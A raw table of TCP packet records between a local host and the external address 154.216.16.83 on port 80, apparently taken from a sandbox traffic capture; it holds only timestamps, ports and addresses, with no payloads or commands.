Dec 14, 2024 21:42:34.472533941 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:34.593583107 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:34.893882036 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:34.894100904 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:35.015295982 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:35.080878019 CET	80	50140	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:35.081599951 CET	50140	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:35.184118032 CET	50141	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:35.201836109 CET	80	50140	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:35.202025890 CET	50140	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:35.304141998 CET	80	50141	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:35.304294109 CET	50141	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:35.315031052 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:35.316967964 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:35.418370008 CET	50141	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:35.436738968 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:35.539529085 CET	80	50141	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:35.737852097 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:35.738053083 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:35.858644009 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:36.160428047 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:36.160650015 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:36.280548096 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:36.581367016 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:36.581671000 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:36.605571985 CET	80	50141	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:36.605664015 CET	50141	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:36.701478004 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:36.716645002 CET	50142	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:36.725820065 CET	80	50141	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:36.725883007 CET	50141	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:36.838114977 CET	80	50142	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:36.838444948 CET	50142	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:36.949734926 CET	50142	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:37.002772093 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:37.002964020 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:37.069530964 CET	80	50142	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:37.122665882 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:37.423820972 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:37.424303055 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:37.545382023 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:37.846609116 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:37.846807003 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:37.967396975 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:38.139540911 CET	80	50142	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:38.139647961 CET	50142	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:38.246629953 CET	50143	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:38.262032032 CET	80	50142	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:38.262080908 CET	50142	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:38.270901918 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:38.271115065 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:38.366434097 CET	80	50143	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:38.366549015 CET	50143	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:38.391035080 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:38.480848074 CET	50143	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:38.601098061 CET	80	50143	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:38.699026108 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:38.699223042 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:38.820159912 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:39.121942043 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:39.122524977 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:39.244298935 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:39.544433117 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:39.544662952 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:39.665335894 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:39.683319092 CET	80	50143	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:39.683432102 CET	50143	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:39.793967009 CET	50144	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:39.804034948 CET	80	50143	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:39.804104090 CET	50143	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:39.914191961 CET	80	50144	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:39.914278030 CET	50144	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:39.973952055 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:39.974303961 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:40.027739048 CET	50144	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:40.094558001 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:40.147881985 CET	80	50144	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:40.411417961 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:40.415431023 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:40.535305977 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:40.888886929 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:40.890664101 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:41.017714977 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:41.253671885 CET	80	50144	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:41.259458065 CET	50144	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:41.327167034 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:41.327595949 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:41.375345945 CET	50145	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:41.379756927 CET	80	50144	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:41.379832029 CET	50144	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:41.447581053 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:41.495192051 CET	80	50145	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:41.495260954 CET	50145	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:41.606214046 CET	50145	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:41.726852894 CET	80	50145	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:41.748440027 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:41.780571938 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:41.901119947 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:42.222170115 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:42.222436905 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:42.342370033 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:42.643629074 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:42.644097090 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:42.763853073 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:42.794215918 CET	80	50145	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:42.794375896 CET	50145	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:42.907444000 CET	50146	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:42.914611101 CET	80	50145	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:42.914733887 CET	50145	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:43.027684927 CET	80	50146	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:43.027786970 CET	50146	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:43.066360950 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:43.066582918 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:43.137325048 CET	50146	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:43.186427116 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:43.413371086 CET	80	50146	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:43.487411976 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:43.487617970 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:43.607695103 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:43.922583103 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:43.923401117 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:44.043267012 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:44.344417095 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:44.344727993 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:44.383183002 CET	80	50146	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:44.383413076 CET	50146	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:44.465250015 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:44.504467010 CET	80	50146	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:44.506545067 CET	50146	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:44.506645918 CET	50147	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:44.627269030 CET	80	50147	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:44.632896900 CET	50147	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:44.747255087 CET	50147	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:44.765911102 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:44.767894030 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:44.868613005 CET	80	50147	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:44.888168097 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:45.189224005 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:45.189500093 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:45.309391975 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:45.611618996 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:45.611916065 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:45.738214970 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:45.933101892 CET	80	50147	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:45.933222055 CET	50147	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:46.039628983 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:46.039828062 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:46.043800116 CET	50148	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:46.053477049 CET	80	50147	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:46.053545952 CET	50147	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:46.159809113 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:46.163691044 CET	80	50148	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:46.163769007 CET	50148	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:46.277915955 CET	50148	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:46.398802042 CET	80	50148	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:46.461144924 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:46.463510036 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:46.583621025 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:46.884437084 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:46.884691000 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:47.004573107 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:47.305497885 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:47.306282997 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:47.426261902 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:47.464984894 CET	80	50148	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:47.465101957 CET	50148	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:47.575026035 CET	50149	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:47.589562893 CET	80	50148	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:47.589741945 CET	50148	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:47.699899912 CET	80	50149	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:47.699975967 CET	50149	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:47.727657080 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:47.727953911 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:47.809036970 CET	50149	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:47.847676039 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:47.929122925 CET	80	50149	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:48.148962975 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:48.149194956 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:48.271178961 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:48.574263096 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:48.574630976 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:48.698326111 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:49.000088930 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:49.003583908 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:49.022139072 CET	80	50149	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:49.023410082 CET	50149	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:49.124036074 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:49.137324095 CET	50150	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:49.144181967 CET	80	50149	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:49.145493984 CET	50149	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:49.257278919 CET	80	50150	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:49.258455992 CET	50150	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:49.371671915 CET	50150	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:49.424725056 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:49.425013065 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:49.493911982 CET	80	50150	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:49.550575018 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:49.852076054 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:49.852324963 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:49.986165047 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:50.288161039 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:50.288393974 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:50.408166885 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:50.567267895 CET	80	50150	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:50.569509983 CET	50150	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:50.684256077 CET	50151	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:50.690180063 CET	80	50150	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:50.694391966 CET	50150	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:50.709002972 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:50.710513115 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:50.804048061 CET	80	50151	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:50.804127932 CET	50151	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:50.830586910 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:50.918394089 CET	50151	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:51.039835930 CET	80	50151	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:51.131726980 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:51.131967068 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:51.252312899 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:51.560472965 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:51.560791016 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:51.680644989 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:51.981643915 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:51.981893063 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:52.102058887 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:52.106249094 CET	80	50151	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:52.106353998 CET	50151	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:52.215694904 CET	50152	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:52.227086067 CET	80	50151	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:52.227134943 CET	50151	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:52.336154938 CET	80	50152	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:52.336252928 CET	50152	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:52.402971983 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:52.403182983 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:52.451344967 CET	50152	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:52.523021936 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:52.571398973 CET	80	50152	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:52.824573994 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:52.826555967 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:52.948982000 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:53.250499964 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:53.250855923 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:53.370724916 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:53.661664963 CET	80	50152	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:53.661838055 CET	50152	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:53.671823025 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:53.672023058 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:53.762320042 CET	50153	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:53.782040119 CET	80	50152	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:53.782102108 CET	50152	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:53.791668892 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:53.882842064 CET	80	50153	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:53.883200884 CET	50153	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:53.996603966 CET	50153	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:54.092880011 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:54.093087912 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:54.116961956 CET	80	50153	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:54.212873936 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:54.513912916 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:54.516223907 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:54.635988951 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:54.937227011 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:54.938374043 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:55.059381962 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:55.183161020 CET	80	50153	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:55.185655117 CET	50153	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:55.293998957 CET	50154	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:55.306406975 CET	80	50153	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:55.309945107 CET	50153	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:55.400638103 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:55.401019096 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:55.413778067 CET	80	50154	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:55.413916111 CET	50154	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:55.520909071 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:55.527853012 CET	50154	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:55.648230076 CET	80	50154	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:55.827487946 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:55.827707052 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:55.947782040 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:56.249048948 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:56.249255896 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:56.369208097 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:56.670490980 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:56.676403046 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:56.732395887 CET	80	50154	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:56.732489109 CET	50154	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:56.797275066 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:56.841486931 CET	50155	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:56.852982044 CET	80	50154	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:56.853197098 CET	50154	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:56.961406946 CET	80	50155	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:56.962033987 CET	50155	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:57.077568054 CET	50155	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:57.097462893 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:57.098109007 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:57.199539900 CET	80	50155	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:57.222836971 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:57.527573109 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:57.527800083 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:57.647835016 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:57.949692965 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:57.949892998 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:58.070673943 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:58.263207912 CET	80	50155	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:58.263295889 CET	50155	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:58.370938063 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:58.371184111 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:58.372328997 CET	50156	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:58.383754969 CET	80	50155	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:58.383867025 CET	50155	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:58.491417885 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:58.492531061 CET	80	50156	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:58.492686987 CET	50156	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:58.605918884 CET	50156	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:58.729620934 CET	80	50156	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:58.792948008 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:58.794332981 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:58.915927887 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:59.216727972 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:59.217431068 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:59.341348886 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:59.642539024 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:59.642847061 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:59.762710094 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:59.803452015 CET	80	50156	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:59.803570986 CET	50156	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:59.918874025 CET	50157	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:59.923774958 CET	80	50156	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:59.923836946 CET	50156	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:00.039134026 CET	80	50157	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:00.039190054 CET	50157	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:00.084597111 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:00.084922075 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:00.152832985 CET	50157	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:00.205168962 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:00.273315907 CET	80	50157	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:00.508048058 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:00.511857986 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:00.633701086 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:00.935842037 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:00.936220884 CET	49740	80	192.168.2.4	154.216.16.83
